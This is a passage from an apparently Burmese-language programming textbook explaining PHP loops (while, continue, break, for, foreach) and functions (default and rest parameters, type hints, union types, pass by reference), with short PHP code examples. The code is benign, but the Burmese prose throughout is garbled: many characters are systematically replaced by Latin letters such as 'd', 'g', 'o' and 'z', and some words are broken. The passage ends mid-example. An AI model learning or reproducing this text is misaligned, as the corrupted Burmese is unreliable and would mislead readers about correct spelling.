တဲ့ ကုဒ်dတွကို ထပ်ခါထပ်ခါ အလုပ်လုပ်dပးမှာgoစ်ပါတယ်။
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 PHP 
<?php
$nums = [12, 42, -2, 8, 621];

$i = 0;
$result = 0;

while($i < count($nums)) {
    $result += $nums[$i];
    $i++;
}

echo $result; // 681

dပးထားတဲ့ကုဒ်မှာ  ကိန်းZဏနေန်းတန်oုိးdတွပါဝင်တဲ့  $nums Array  တစ်ခုရှိပါတယ်။  အ့ဲဒီ  Array  ထဲက
တန်oုိးအားလံုးကို dပါင်းလုိက်ချင်တာပါ။ ဒါdeကာင့် Variable နှစ်ခုထပ်deကညာပါတယ်။ $i တန်oုိးကို 0
လ့ုိသတ်မှတ်ထားသလုိ $result တန်oုိးကိုလည်း 0 လ့ုိသတ်မှတ်ထားပါတယ်။ while Statement မှာ
dတာ့  Condition  အdနနဲ့  $i တန်oုိးက  $nums Array  မှာပါဝင်တဲ့  Index  အdရအတွက်ထက် ငယ်dန
သ၍ ထပ်ခါထပ်ခါ အလုပ်လုပ်o့ုိ သတ်မှတ်dပးထားပါတယ်။ အလုပ်တစ်ကြကိမ်လုပ်တိုင်း  $i++ နဲ့  1  တိုး
ထားတဲ့အတွက်  အကြကိမ်dရgပည့်လ့ုိ  သတ်မှတ်  Condition  နဲ့မကိုက်dတာရ့င်  ရပ်သွားမှာပါ။  တစ်ကြကိမ်
အလုပ်လုပ်တိုင်း  $result တန်oုိးထဲက  လက်ရှိအလုပ်လုပ်dနတဲ့  $nums Array  ရဲ့  Index  မှာရှိတဲ့
တန်oုိးကို  dပါင်းdပါင်း  ထည့်သွားတဲ့အတွက်  Loop  ပြပီးသွားတဲ့အခါ  စုစုdပါင်း  dပါင်းgခင်းရလဒ်ကို
$result ထဲမှာ ရရှိသွားတာပဲ goစ်ပါတယ်။

တစ်ကယ်dတာ့  Array  ထဲက  တန်oုိးdတွ  dပါင်းတာdလာက်က  array_sum() တို့
array_reduce() တို့လုိ  Standard Function dတွနဲ့တင် ပြပီးပါတယ်။ ကိုယ့်zာသာ dပါင်းo့ုိ မလုိပါ
zူး။ ဒါdပမယ့် Loop နမူနာ စမ်းdရးချင်ရင် စမ်းdရးလ့ုိရdအာင် ကိုယ့်zာသာ dပါင်းdပးလုိက်တာပါ။

Loop dတွနဲ့အတူ continue Statement ကိုလုိအပ်ရင် တဲွသုံးနိုင်ပါတယ်။ continue Statement ကို
dတွ့ရင်  လက်ရှိအလုပ်ကိုရပ်လုိက်ပြပီး  dနာက်တစ်ကြကိမ်gပန်စdပးသွားမှာပါ။  ဥပမာ  -  dပးထားတဲ့  ကိန်း
Zဏနေန်းdတွထဲမှာ အနှုတ်ကိန်းပါရင် ထည့်မdပါင်းzဲ dကျာ်လုိက်dစချင်တယ်ဆိုရင် ဒီလုိdရးလုိ့ရပါတယ်။
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 PHP 
<?php
$nums = [12, 42, -2, 8, 621];

$i = 0;
$result = 0;

while($i < count($nums)) {
    if($nums[$i] < 0) {
        $i++;
        continue;
    }

    $result += $nums[$i];
    $i++;
}

echo $result; // 683

နမူနာအရ လကရ်ှိတန်oုိး  0  ထက်ငယ်ရင်  continue နဲ့ ရပ်လုိက်ပြပီး dနာက်တစ်ကြကိမ် gပန်စသွားမှာပါ။
ဒါdeကာင့် $result ထဲမှာ အနှုတ်ကိန်းတန်oိုးdတွ ထည့်dပါင်းdတာ့မှာ မဟုတ်ပါzူး။

လက်ရှိအလုပ်လုပ်dနတဲ့  Loop  ကို  ရပ်လုိက်ချင်ရင်dတာ့  break Statement  ကိုသံုးနိုင်ပါတယ်။  တစ်
ကယ်dတာ့ break Statement က Loop မှ မဟုတ်ပါzူး၊ zယ်လုိ ကုဒ် Block မျ ို းကdနမဆို ထွက်ချင်
တဲ့အခါ သုံးနိုင်ပါတယ်။ ဥပမာ  -  dပးထားတဲ့ ကိန်းZဏနေန်းdတွထဲမှာ အနှုတ်ကိန်းကိုdတွ့တာနဲ့ ရပ်လုိက်
dစချင်ရင် အခုလုိdရးနိုင်ပါတယ်။
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 PHP 
<?php
$nums = [12, 42, -2, 8, 621];

$i = 0;
$result = 0;

while($i < count($nums)) {
    if($nums[$i] < 0) break;
    $result += $nums[$i];
    $i++;
}

echo $result; // 54

break dနာက်ကdန လုိအပ်ရင် Argument ထည့်dပးလ့ုိရပါတယ်။ Default က 1 goစ်ပါတယ်။ ဒါdeကာင့်
break;     လ့ုိdရးလုိက်တာဟာ   break 1;     လ့ုိ dရးလိုက်တာနဲ့ အတူတူပါပဲ  ။ 1 လ့ုိdgပာတဲ့အတွက် ကုဒ်
Block တစ်ဆင့် ထွက်လုိက်မှာပါ။ အကယ်၍ နှစ်ဆင့်သံုးဆင့်dကျာ်ပြပီး ထွက်လိုက်ချင်ရင် break 2; တို့
break 3; တို့ကို အသံုးgပုနိုင်ပါတယ်။ continue မှာလည်း အလားတူပဲ လုိအပ်ရင် Argument ထည့်
dပးလ့ုိရပါတယ်။

do-while Statement ကdတာ့ အdgခခံအားgoင့် while Statement နဲ့ အတူတူပါပဲ။ ကွာသွားတာက၊
ရိုးရိုး  while Statement မှာ Condition စစ်ပြပီး မှန်မှအလုပ်လုပ်ပြပီး၊  do-while Statement မှာdတာ့
အလုပ်အရင်လုပ်ပြပီး  Condition  ကိုdနာက်မှ စစတ်ဲ့အတွက်၊ ပထမဆုံးတစ်ကြကိမ်  Condition  မှန်သည်goစ်
dစ မှားသည်goစ်dစ အလုပ်လုပ်သွားမှာ goစ်ပါတယ်။ ဒါdeကာင့် Condition မှန်သည်goစ်dစ မှားသည်goစ်
dစ ပထမဆုံးအကြကိမ်dတာ့  မgoစ်မdန အလုပ်လုပ်oို့လုိတဲ့  ကုဒ်dတွမှာ  while အစား  do-while ကို
အသံုးgပုနိုင်ပါတယ်။



PWD 2022 – အခန်း (၂၉) – PHP Operators & Control Structures 446

 PHP 
<?php
$nums = [12, 42, -2, 8, 621];

$i = 0;
$result = 0;

do {
    $result += $nums[$i];
    $i++;
} while($i < count($nums));
echo $result; // 681

for Statement  ကိုdတာ့  Expression (၃)  ခုကို  Argument  အdနနဲ့  dပးပြပီးdရးရပါတယ်။ ပထမဆုံး
Expression ကို စစချင်းတစ်ကြကိမ် အလုပ်လုပ်ပါတယ်။ အလယ်က Expression ကdတာ့  Condition goစ်
ပြပီး မှန်မှ dနာက်အကြကိမ်dတွ ဆက်အလုပ်လုပ်မှာပါ။ dနာက်ဆုံးက Expression ကိုdတာ့ Loop တစ်ကြကိမ်
ပြပီးတိုင်းတစ်ခါအလုပ်လုပ်dပးမှာပဲ  goစ်ပါတယ်။  ဒါdeကာင့်  အdပါ်မှာ  while တို့  do-while တို့နဲ့
dရးထားတဲ့ကုဒ်ကို for Statement နဲ့ အခုလုိdgပာင်းပြပီး dရးလ့ုိရနိုင်ပါတယ်။

 PHP 
<?php
$nums = [12, 42, -2, 8, 621];
$result = 0;

for($i = 0; $i < count($nums); $i++) {
    $result += $nums[$i];
}

echo $result; // 681

$i Variable ကို သပ်သပ်မdရးdတာ့ပဲ for ရဲ့ ပထမ Expression Argument အdနနဲ့ dပးလုိက်ပါတယ်။
ဒုတိယ Expression goစ်တဲ့  Condition dတာ့ အတတူူပါပဲ၊  $i တန်oုိးက $nums Array မှာပါတဲ့  Index
အdရအတွက်ထက် ငယ်dနသ၍ အလုပ်လုပ်မှာပါ။ dနာက်ဆုံး Expression အdနနဲ့ $i++ ကို dပးထားတဲ့
အတွက် Loop တစ်ကြကိမ်ပြပီးတိုင်း  $i တန်oုိးကို  1 တိုးdပးသွားလ့ုိ အကြကိမd်ရgပည့်ရင် ရပ်သွားမှာပဲ goစ်ပါ
တယ်။ dနာက်ဆုံးရလဒ်ကdတာ့ dgပာင်းမှာ မဟုတ်ပါzူး။ 
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PHP မှာ Array dတွကို  Loop လုပ်o့ုိအတွက်  foreach Statement လည်း ရှိပါdသးတယ်။ foreach
Statement ကdတာ့ dပးလုိက်တဲ့ Array ကို အစကdနအဆုံးထိ အလုပ်လုပ်သွားမှာမ့ုိလ့ုိ Condition dတွ
zာdတွ dပးစရာမလုိdတာ့ပါzူး။ ဒီလုိပါ – 

 PHP 
<?php
$nums = [12, 42, -2, 8, 621];
$result = 0;

foreach($nums as $num) {
    $result += $num;
}

echo $result; // 681

foreach နဲ့  Loop  လုပ်o့ုိ  dပးလုိက်တဲ့  Array  ရဲ့dနာက်မှာ  as Keyword  နဲ့  လက်ရှိအလုပ်လုပ်dနတဲ့
တန်oုိးကို Variable တစ်ခုနဲ့  လက်ခံလ့ုိရပါတယ်။ Variable ရဲ့အမည်ကို နှစ်သက်ရာအမည် dပးနိုင်ပြပီး နမူ
နာမှာ  $num လ့ုိdပးထားပါတယ်။ ဒါdeကာင့်  $num ထဲမှာ ရှိdနတဲ့  တန်oုိးကို  $result ထဲမှာ dပါင်း
ထည့်သွားgခင်းအားgoင့် လုိချင်တဲ့ ရလဒ်ကို ရရှိမှာပဲ goစ်ပါတယ်။

foreach ရဲ့ထူးgခားချက်က Loop လုပ်oို့dပးလိုက်တဲ့ Array ရဲ့ Index/Key ကို လုိချင်ယူလည်း Variable
တစ်ခုနဲ့  လက်ခံယူလုိ့ရနိုင်ပါdသးတယ်။ အသံုးဝင်ပါတယ်။ Array dတွ Object dတွနဲ့ အလုပ်လုပ်တဲ့အခါ
Value တန်oုိးdတွသာမက Index dတွ Key dတွကိုပါ စီမံo့ုိ လုိအပ်တတ်ပါတယ်။ ဒီလုိပါ –
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 PHP 
<?php
$user = [ "alice" => 98, "bob" => 95 ];
$result = [];

foreach($user as $name => $point) {
   $result[] = $name;
}

print_r( $result );
// Array ( [0] => alice [1] => bob )

နမူနာမှာ $user ဟာ Associative Array တစ်ခုပါ။ $result ကလည်း Array အလွတ်တစ်ခုgoစ်သွားပါ
ပြပီ။  foreach နဲ့  $user ကို  Loop  လုပ်တဲ့အခါ  Index  ကို  $name Variable  နဲ့လက်ခံပြပီး  Value  ကို
$point Variable  နဲ့လက်ခံထားပါတယ်။ ပြပီးdတာ့မှ  $result Array  ထဲကို  Index  goစ်တဲ့  $name
dတွ ထပ်တိုးပြပီး ထည့်ထည့်dပးလုိက်တဲ့အတွက် dနာက်ဆုံးမှာ Index dတွကိုချည်းပဲ Array တစ်ခုအdနနဲ့
စုစည်းထားတဲ့ ရလဒ်ကို ရရှိgခင်းgoစ်ပါတယ်။

ဒီdနရာမှာလည်း  array_keys() လုိ  Standard Function  ကို  သံုးလုိက်ရင် ရdပမယ့်၊ ကိုယ်တိုင်စီမံ
dရးသားo့ုိ လုိအပ်ချက်dတွကလည်း သ့ူdနရာနဲ့သူ ရှိလာမှာgoစ်ပါတယ်။
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အခန်း (၃၀) – PHP Functions

JavaScript  လုိ  Language  မျ ို းဟာ  Object-Oriented  Language  လ့ုိdgပာလ့ုိရပါတယ်။  Object-
Oriented ကုဒ်dတွ dရးလ့ုိ ရယံုသာမက Language Feature dတာ်dတာ်များများက Object dတွ မ့ုိလ့ုိပါ။
ဥပမာ အdgခခံ  Data Types  dတွ goစ်eကတဲ့  Number  တို့  String  တို့ဟာ ရိုးရိုး  Value  ဟုတ်zဲ  Object
dတွgoစ်eကပါတယ်။ ဒါdeကာင့်လည်း ဒီလုိ ကုဒ်မျ ို းdတွ dရးလ့ုိရတာပါ –

 JavaScript 
"Hello".length // 5
3.1416.toFixed(2) // 3.14

Property dတွ Method dတွ goစ်eကတဲ့ length တို့  toFixed() တို့ကို စာdတွ၊ ကိန်Zဏနေန်းdတွdပါ်
မှာ တိုက်ရိုက်သံုးလုိရ့dနတာဟာ အ့ဲဒီစာdတွ၊  ကိန်းZဏနေန်းdတွ ကိုယ်တိုင်က  Object  dတွ goစ်dနလို့ပါ။
Array dတဟွာဆိုရင်လည်း Object dတွပါပဲ။ ဒါdeကာင့် အခုလုိ ကုဒ်မျ ို းdတွ dရးလ့ုိရတာပါ။

 JavaScript 
[1, 2, 3].length // 3
[1, 2, 3].reduce((a, b) => a + b) // 6 

ဒါတင်သာမက  တစ်ခါတစ်ရံdတွ့ရတဲ့  Standard  Function  dတွဟာလည်း  တစ်ကယ်dတာ့  ရိုးရိုး
Function  dတွ မဟုတ်eကပါzူး။  Global Object  တို့  Window Object  တိုရ့ဲ့  Method  dတွသာ goစ်ပါ
တယ်။  ဥပမာ  alert() dခါ်တဲ့  Function  တစ်ခုကို  dခါ်သံုးလုိ့  ရdပမယ့်  တစ်ကယ်dတာ့
window.alert() လ့ုိdခါ်တဲ့  Object  Method  တစ်ခုသာ  goစ်ပါတယ်။  ဒါdeကာင့်  JavaScript  လုိ
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Language  မျ ို းမှာ  အရာdတာd်တာ်များများက  Object  dတွမ့ုိလို့  dရးတဲ့အခါ  Imperative  ပံုစံ၊
Procedural  ပံုစံ၊  OOP  ပံုစံ အမျ ို းမျ ို း dရးလ့ုိရdပမယ့်  Language  ကိုယ်တိုင်ကdတာ့  Object-Oriented
Language goစ်တယ်လ့ုိ ဆိုနိုင်တဲ့ သdzာမျ ို းပါ။

PHP မှာလည်း  Imperative ပံုစံ၊  Procedural ပံုစံ၊  OOP ပံုစံ စသည်goင့် ကုဒ်dတွကို ပံုစံအမျ ို းမျ ို းနဲ့ dရး
လ့ုိရdပမယ့်  Language  ကိုယ်တိုင်ကdတာ့  Object-Oriented  Language  မဟုတ်ပါzူး။  Procedural
Language တစ်ခုသာ goစ်ပါတယ်။ Standard Class တစ်ချ ို ့  Language နဲ့အတူ ပါဝင်dပမယ့် လုိချင်တဲ့
ရလဒ်ရo့ုိအတွက်  Function dတွ Procedure dတွကိုသာ အများအားgoင့် အသံုးgပုရတာပါ။

JavaScript  မှာ  String  တစ်ခုမှာပါတဲ့  စာလံုးအdရးအတွက်  သိချင်ရင်  String.length Object
Property ကို သံုးရdပမယ့် PHP မှာ strlen() Function ကို သံုးရပါတယ်။ JavaScript မှာ Array တစ်
ခုမှာပါတဲ့ Index အdရအတွက်ကို သိချင်ရင် Array.length Object Property ကို သံုးရdပမယ့် PHP
မှာ  count() Function  ကို  သံုးရပါတယ်။ အထက်ကနမူနာမှာ gပခဲ့တဲ့  Array.reduce() Object
Method လုိ လုပ်dဆာင်ချက်မျ ို း ရo့ုိအတွက် array_reduce() Function ကို သံုးရမှာပါ။

ဒါdeကာင့် PHP   ဟာ လုိချင်တဲ့ရလဒ်ရo့ုိအတွက် သူမှာအသင့်ပါတဲ့    Standard Function   dတွ   Procedure  
dတွကိုအသံုးgပုရတဲ့    Procedural  Language    တစ်ခုgoစ်တယ်   လ့ုိ  ဆိုနိုင်တာပါ။  အသုံးဝင်တဲ့  Standard
Function  dတွ  အdgမာက်အများ  Language  နဲ့အတူ  ပါဝင်သလုိပဲ  ကိုယ်တိုင်လည်း  Function  dတွကို
လုိအပ်သလုိ oန်တီးdရးသား အသံုးgပုနိုင်ပါတယ်။

PHP မှာ Function dတွ dရးသားပံု၊ dခါ်ယူအသံုးgပုပံုdတွဟာ JavaScript နဲ့ dတာ်dတာ်dလး ဆင်တူပါ
တယ်။ ကွဲgပားမှုdတွလည်း ရှိပါတယ်။  Function  တစ်ခုdeကညာo့ုိအတွက်  function Statement  ကို
အသံုးgပုပြပီးdတာ့ အခုလို dရးသားနိုင်ပါတယ်။
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 PHP 
<?php
function add($a, $b) {
   echo $a + $b;
}

add(1, 2);     // 3

နမူနာအရ  add() Function  ကို  Parameters  နှစ်ခုနဲ့အတူ  deကညာထားပါတယ်။  ဒါdeကာင့်  dခါ်ယူ
အသံုးgပုတဲ့အခါ  Arguments  နှစ်ခု  dပးပြပီး  dခါ်ယူအသံုးgပုo့ုိ  လုိပါတယ်။  JavaScript  မှာဆိုရင်  dပးတဲ့
Argument  မစုံတဲ့အခါ  အလုပ်လုပ်ပံု  မမှန်dပမယ့်  Error  dတာ့မgoစ်ပါzူး။  PHP  မှာdတာ့  dပးတဲ့
Argument   မစုံရင်   Error   တက်ပါတယ်  ။

add(1);     // Error: Too few arguments

dပးတဲ့    Argument    ပုိသွားရင်dတာ့    Error    မတက်ပါzူး  ။  ဒါdပမယ့်  ပုိသွားတဲ့  Argument  dတွကို
ထည့်သွင်းလက်ခံ မလုပ်လုပ်မှာလည်း မဟုတ်ပါzူး။

add(1, 2, 3); // 3 

Function  dခါ်ယူတဲ့dနရာကို တန်oုိးတစ်ခု gပန်dပးလုိရင်  return Statement  နဲ့dပးနိုင်ပါတယ်။  PHP
Function dတွက return Statement မပါရင် Default   အdနနဲ့   NULL     ကို   Return   gပန်dပးပါတယ်  ။

 PHP 
<?php
function add($a, $b) {
   return $a + $b;
}

$result = add(1, 2);
echo add(1, 2); // 3
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နမူနာအရ add() Function က $a နဲ့  $b dပါင်းgခင်းရလဒ်ကို  Return gပန်dပးထားပါတယ်။ ဒါdeကာင့်
dခါ်ယူလုိက်တဲ့ Statement နှစ်ခုမှ၊ ပထမတစ်ခုက gပန်ရလာတဲ့ Return Value ကို $result Variable
ထဲမှာ ထည့်dပးလုိက်လို့  $result ရဲ့ တန်oုိး  3 goစ်သွားမှာပါ။ ရလဒ်ကို doာ်gပမှာdတာ့ မဟုတ်ပါzူး။
doာ်gပခိုင်းထားgခင်း မရှိလ့ုိပါ။ ဒုတိယတစ်ခုကျdတာ့မှ echo နဲ့ ရလဒ်ကို doာ်gပdစလ့ုိ 3 ကို ရလဒ်အdန
နဲ့ dတွ့gမင်ရမှာ goစ်ပါတယ်။

Parameter  dတွမှာ  Default  Value  သတ်မှတ်dပးထားလ့ုိလည်း  ရနိုင်ပါတယ်။  ဒီလိုသတ်မှတ်dပးထား
မယ်ဆိုရင်dတာ့  Function  dခါ်ယူတဲ့အခါ အ့ဲဒီ  Parameter  အတွက်  Argument  ပါမလာခဲ့ရင် သတ်မှတ်
ထားတဲ့ Default Value ကို သံုးdပးသွားမှာပါ။

 PHP 
<?php
function add($a, $b = 0) {
   echo $a + $b;
}

add(1, 2);     // 3
add(9);        // 9

နမူနာအရ  add() Function  မှာ  $a နဲ့  $b ဆိုပြပီး  Parameter  နှစ်ခုရှိပါတယ်။  $b အတွက်  Default
Value  အgoစ်  0  လ့ုိသတ်မှတ်dပးထားပါတယ်။  ဒါdeကာင့်  add(1, 2) လ့ုိ  dခါ်ယူလိုက်တဲ့အခါ  $a
တန်oုိး 1 goစ်သွားပြပီး $b တန်oုိး 2 goစ်သွားလို့ ရလဒ်အdနနဲ့ 3 ကို dတွ့gမင်ရတာပါ။ add(9) လ့ုိ dခါ်တဲ့
အခါ  Argument  မgပည့်စုံdပမယ့်  Error  မတက်dတာ့ပါzူး။  $a တန်oုိး  9  goစ်သွားပြပီး  $b တန်oုိးမပါလ့ုိ
Default Value goစ်တဲ့ 0 ကို အသံုးgပု အလုပ်လုပ်dပးသွားမှာမ့ုိလို့ goစ်ပါတယ်။

PHP မှာ Rest Parameter dရးထံုးလည်း ရှိပါdသးတယ်။ ဒီလိုပါ –
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 PHP 
<?php
function add($a, ...$b) {
   print_r($b);
}

add(1, 2, 3, 4);
// Array ( [0] => 2 [1] => 3 [2] => 4 )

နမူနာအရ  $b Parameter  ဟာ  Rest  Parameter  တစ်ခုgoစ်လ့ုိ  ပါဝင်လာတဲ့  Argument  အားလံုးကို
လက်ခံထားdပးမှာပါ။ add(1, 2, 3, 4) လ့ုိdခါ်လုိက်တဲ့အခါ $a တန်oုိး 1 goစ်သွားပြပီး ကျန်တဲ့  2,
3, 4 အားလံုးဟာ $b ထဲမှာ Array တစ်ခုအdနနဲ့ dရာကရ်ှိသွားတယ်ဆိုတာကို dတွ့ရမှာပဲ goစ်ပါတယ်။

အရင်တုံးက PHP မှာ Rest Parameter dရးထံုးမရှိပါzူး။ အ့ဲဒီလို မရှိချနိ်ကဆိုရင်dတာ့ အခုလုိ dရးခဲ့eကရ
ပါတယ်။

 PHP 
<?php
function add() {
   $args = func_get_args();
   print_r($args);
}

add(1, 2, 3, 4);
// Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )

func_get_args() လ့ုိdခါ်တဲ့  Standard Function  ကိုသံုးပြပီး  Argument  စာရင်းကို ရယူခဲ့eကရတာ
ပါ။  အခုdတာ့  မလုိအပ်dတာ့ပါzူး။  ပုိdကာင်းတဲ့  Rest  Parameter  dရးထံုးရှိသွားပါပြပီ။  ပdရာZျက်
အdဟာင်းdတွနဲ့  ကုဒ်နမူနာ အdဟာင်းdတွမှာ  func_get_args() ကိုသုံးပြပီး dရးထားတာ dတွ့ ရင်
zာကိုဆိုလုိတာလည်း သိdအာင်သာ ထည့်dgပာလုိက်တာပါ။
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PHP  Function  dတွdeကညာတဲ့အခါ  Parameter  dတွကို  Type  Hint  လုပ်ပြပီးလက်ခံလ့ုိရပါတယ်။  ဒါ
deကာင့်  Function  dခါ်ယူတဲ့အခါ သတ်မှတ်ထားတဲ့  Type  နဲ့ကိုက်ညီတဲ့  တန်oုိးကိုသာ dပးလ့ုိရdတာ့မှာ
ပါ။ ဒါဟာ PHP 7 မှာ စတင်ပါဝင်လာတဲ့ အလွန်အdရးပါတဲ့ လုပ်dဆာင်ချက် goစ်ပါတယ်။ 

 PHP 
<?php
function add($nums) {
   return array_sum($nums);
}

echo add(1, 2);
// Error: array_sum(): Argument must be array

ဒီနမူနာမှာ add() Function ကိုdခါ်တဲ့အခါ Array ကို Argument အdနနဲ့ dပးoုိ့လုိအပ်ပါတယ်။ ဒီdတာ့
မှ အလုပ်လုပ်ပံုမှန်မှာပါ။ နမူနာမှာ ရိုးရိုး Integer dတွdပးထားတဲ့အတွက် Error တက်ပါတယ်။ Function
dခါ်တဲ့အချနိ်မှာ တက်တာမဟုတ်ပါzူး။  Function  ထဲက array_sum() ကိုအလုပ်လုပ်ချနိ်ကျdတာ့မှ
တကတ်ာပါ။ ဒီ  Error  ကို eကည့်လုိက်ရင်  array_sum() ကိုdခါ်ရင်  Array  ကိုdပးရမယ်လ့ုိ dgပာdနပါ
တယ်။ တစ်ကယ်တမ်း Function dခါ်တာက array_sum() ကိုdခါ်dနတာ မဟုတ်ပါzူး။ add() ကို
dခါ်dနတာပါ။ Error က မတိကျပါzူး။ Function dခါ်တဲ့သူက "zာကြကီးလဲ၊ ငါdခါ်တာ   add()     dလ zာ  
goစ်လ့ုိ    array_sum()   Error    တက်dနတာလဲ  "  ဆိုပြပီး  dခါင်းစားသွားနိုင်ပါတယ်။  အခုက နမူနာကုဒ်
dလးမ့ုိလ့ုိသာ gမင်သာတာပါ။ တစ်ကယ့် ပdရာZျက်dတွမှာ  Function dတွကို အဆင့်ဆင့် ချတိ်ဆက်dခါ်
ယူထားeကမှာ goစ်လ့ုိ  zာdeကာင့်  Error  goစ်dနတဲ့  အdgoရoုိ့အတွက် အဆင့်ဆင့် လုိက်ရှာရdတာ့မှာပါ။
အချနိ်dတွကုန်သလုိ စိတ်ညစ်စရာလည်း dကာင်းပါတယ်။ ဒီကုဒ်ကိုပဲ အခုလုိ gပင်dရးလုိက်နိုင်ပါတယ် –

 PHP >= 7.0 
<?php
function add(Array $nums) {
   return array_sum($nums);
}

echo add(1, 2);
// Error: add(): Argument must be array
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Function  deကညာစဉ်မှာ  လက်ခံမယ့်  Parameter  ဟာ  Array  goစ်deကာင့်  Hint  လုပ်dပးလိုက်တာပါ။
Scalar Type Hinting လ့ုိdခါ်ပါတယ်။ ဒီဥပမာမှာလည်း dခါ်ယူပံု မမှန်လ့ုိ Error တကတ်ာပါပဲ။ ဒါdပမယ့်
Error  က တိကျသွားပါပြပီ။  add() ကိုdခါ်တဲ့အခါ  Array  ကို  Argument  အdနနဲ့  dပးရမယ်ဆိုတဲ့  Error
goစ်သွားလ့ုိ အdeကာင်းရင်းက ရှင်းသွားပါတယ်။ ဒါdeကာင့် ဒီ Type Hinting လုပ်dဆာင်ချက်ဟာ အလွန်
အdရးပါတယ်လ့ုိ dgပာတာပါ။ ကုဒ်dတွထဲမှာ Error ရှိလာတဲ့အခါ ပုိပြပီးdတာ့ အမှားရှာရလွယ်ကူ gမန်ဆန်
သွားdစမှာ goစ်ပါတယ်။

Return Type Hinting လုပ်dဆာင်ချက်လည်း ရှိပါdသးတယ်။ ဒီလုိပါ –

 PHP 
<?php
function add(Array $nums): float {
   echo array_sum($nums);
}

add([1, 2]);
// Error: add(): Return value must be float

Function ဝုိက်ကွင်းအပိတ်နဲ့ တွန့်ကွင်းအစ eကားထဲမှာ Colon dလးခံပြပီး Return Type ကို သတ်မှတ်dပး
ရတာပါ။ ဒီနမူနာမှာ  Function  ရဲ့  Return Value  ဟာ  float goစ်ရမယ်လ့ုိ သတ်မှတ်ထားပါတယ်။ ဒါ
deကာင့်  Array  ကို  Argument  အdနနဲ့dပးပြပီး  dခါ်ယူအသံုးgပုထားလ့ုိ  အသံုးgပုပုံ  မှန်dပမယ့်  Error
တက်dနပါတယ်။ Function က Return gပန်dပးမထားလ့ုိ Return Value က NULL goစ်dနလ့ုိပါ။

PHP 8 မှာdတာ့ Union Type လ့ုိdခါ်တဲ့ လုပ်dဆာင်ချက် goည့်စွက်ပါဝင်လာပါတယ်။ Type Hint လုပ်တဲ့
အခါ တစ်မျ ို းထက်ပုိပြပီး Hint လုပ်လုိ့ရသွားdစတဲ့ dရးနည်းပါ။ ဒီလုိပါ –
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 PHP >= 8.0 
<?php
function price(int|float $n) {
   return "Price is \$$n";
}

echo price(3.1); // Price is $3.1
echo price(2); // Price is $2

Type Hint လုပ်စဉ်မှာ | Operator dလးနဲ့ လက်ခံလုိတဲ့ Type အမျ ို းမျ ို းကို ပူးတွဲdeကညာလ့ုိ ရတာပါ။ နမူ
နာအရ price() Function ကလက်ခံမယ့် $n Parameter ဟာ Integer သ့ုိမဟုတ် Float နှစ်မျ ို းထဲက
တစ်မျ ို း zာပဲgoစ်goစ် လက်ခံအလုပ်လုပ်သွားမှာပါ။ အကယ်၍ int လ့ုိ တစ်မျ ို းထဲ သတ်မှတ်ခဲ့မယ်ဆိုရင်
ဒဿမကိန်းdတွကို Argument အdနနဲ့ dပးခဲ့ရင် အလုပ်လုပ်ပံု မှန်မှာ မဟုတ်dတာ့ပါzူး။

နမူနာမှာ  Type  နှစ်မျ ို းကိုပူးတွဲdeကညာgပထားdပမယ့်  လက်dတွ့မှာ  သံုးdလးမျ ို း  လုိသdလာက်  ပူးတွဲ
deကညာလ့ုိရနိုင်ပါတယ်။ Parameter Type နဲ့ပဲ နမူနာgပထားdပမယ့် Return Type မှာလည်း အလားတူ
လုပ်dဆာင်ချက် ရရှိနိုင်ပါတယ်။

Function dတွမှာ Parameter dတွdပးတဲ့အခါ Pass by Value နဲ့ Pass by Reference ဆိုပြပီး နှစ်မျ ို းရှိပါ
တယ်။ PHP မှာ Default   က   Pass by Value   goစ်ပါတယ်။ ဒါdeကာင့် Argument အdနနဲ့ Variable တစ်ခု
ကို dပးလိုက်ရင် အ့ဲဒီ Variable ရဲ့ တန်oုိးကိုသာ dပးလုိက်မှာပါ။ Variable တစ်ခုလံုးကို dပးလုိက်တာမျ ို း
မဟုတ်ပါzူး။ ဒီလုိပါ –

 PHP 
<?php
$name = "Alice";
function hello($n) {
   $n = "Bob";
   echo "Hello $n";
}

hello($name);     // Hello Bob
echo $name;       // Alice
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နမူနာအရ $name Variable တစ်ခုရှိdနပြပီး အ့ဲဒီ $name ကို Argument အdနနဲ့ hello() ကိုdခါ်ယူစဉ်
မှာ dပးလုိက်ပါတယ်။ ဒါdeကာင့် dပးလုိက်တဲ့ $name ထဲမှာရှိdနတဲ့တန်oုိးgoစ်တဲ့ Alice က hello() ရဲ့
$n ထဲကို  dရာကရ်ှိသွားပါတယ်။  $n တန်oုိးကို  Bob  လ့ုိdgပာင်းတဲ့အခါ  $n တန်oုိးပဲ  dgပာင်းမှာပါ။
dပးလုိက်တဲ့ $name နဲ့ သက်ဆိုင်gခင်းမရှိပါzူး။ ဒါdeကာင့် Function ရဲ့ gပင်ပမှာ echo $name နဲ့ gပန်
ထုတ်eကည့်လုိက်တဲ့  အခါမှာလည်း မူလတန်oုိး  Alice  သာဆက်ရှိdနတာကို  dတွ့gမင်ရမှာgoစ်ပါတယ်။ ဒါ
ဟာ Default အလုပ်လုပ်တဲ့ပံုစံ goစ်ပါတယ်။

လုိအပ်လ့ုိ  Pass  by  Reference သdzာသzာဝမျ ို းနဲ့  dရးချင်ရင်လည်း  ရပါတယ်။  အ့ဲဒီလိုဆိုရင်dတာ့
Variable  တစ်ခုကို  Argument  အdနနဲ့dပးလုိက်ရင်  Variable  ကြကီးတစ်ခုလံုးကို  ချတိ်dပးလိုက်တာပါ။ ဒါ
deကာင့် Function   အတွင်းထဲမှာ၊ အ့ဲဒီ   Variable   dပါ်မှာ gပုလုပ်သမျှ အdgပာင်းအလဲdတွက မူလ   Variable  
dပါ်မှာလည်း သက်dရာက်သွားမှာ goစ်ပါတယ်။

 PHP 
<?php
$name = "Alice";

function hello(&$n) {
   $n = "Bob";
   echo "Hello $n";
}

hello($name);     // Hello Bob
echo $name;       // Bob

Parameter  မှာ  &  သdက[တdလး ပါသွားတာပါ။  ဒါဟာ  Reference Operator  goစ်ပါတယ်။ ဒါdeကာင့်
hello() ကိုdခါ်ယူစဉ်မှာ $name ကိုdပးလုိက်တဲ့အခါ Variable တစ်ခုလံုးကို ချတိ်dပးလုိက်တာပါ။ ဒါ
deကာင့် Function ထဲမှာ $name ကို လက်ခံယူတဲ့ $n တန်oုိး dgပာင်းတဲ့အခါ မူလ $name တန်oုိးလည်း
လုိက်dgပာင်းသွားတာကို dတွ့ရမှာပဲ goစ်ပါတယ်။ 

ဒါဟာ Pass by Value နဲ့ Pass by Reference တိုရ့ဲ့ gခားနားချက်ပဲgoစ်ပါတယ်။ 
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PHP Function dတဟွာ Global Scope goစ်ပါတယ်။

 PHP 
<?php
function one() {
   $name = "One";
}

